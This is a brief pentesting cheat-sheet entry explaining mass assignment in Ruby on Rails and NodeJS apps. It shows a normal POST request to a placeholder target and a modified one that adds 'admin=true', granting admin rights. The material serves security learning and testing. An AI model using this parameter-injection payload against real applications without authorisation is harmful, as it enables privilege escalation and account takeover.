Mass Assignment Attack

Introduction

Occurs when an app allows a user to manually add parameters in an HTTP Request & the app process value of these parameters when processing the HTTP Request & it affects the response that is returned to the user. Usually occurs in Ruby on Rails / NodeJS

How to exploit

• Normal request

  POST /editdata HTTP/1.1
  Host: target.com
  ...
  
  username=daffa
  

  The response

  HTTP/1.1 200 OK
  ...
  
  {"status":"success","username":"daffainfo","isAdmin":"false"}
  

• Modified Request

  POST /editdata HTTP/1.1
  Host: target.com
  ...
  
  username=daffa&admin=true
  

HTTP/1.1 200 OK
...

{"status":"success","username":"daffainfo","isAdmin":"true"}

References

• Pentester Academy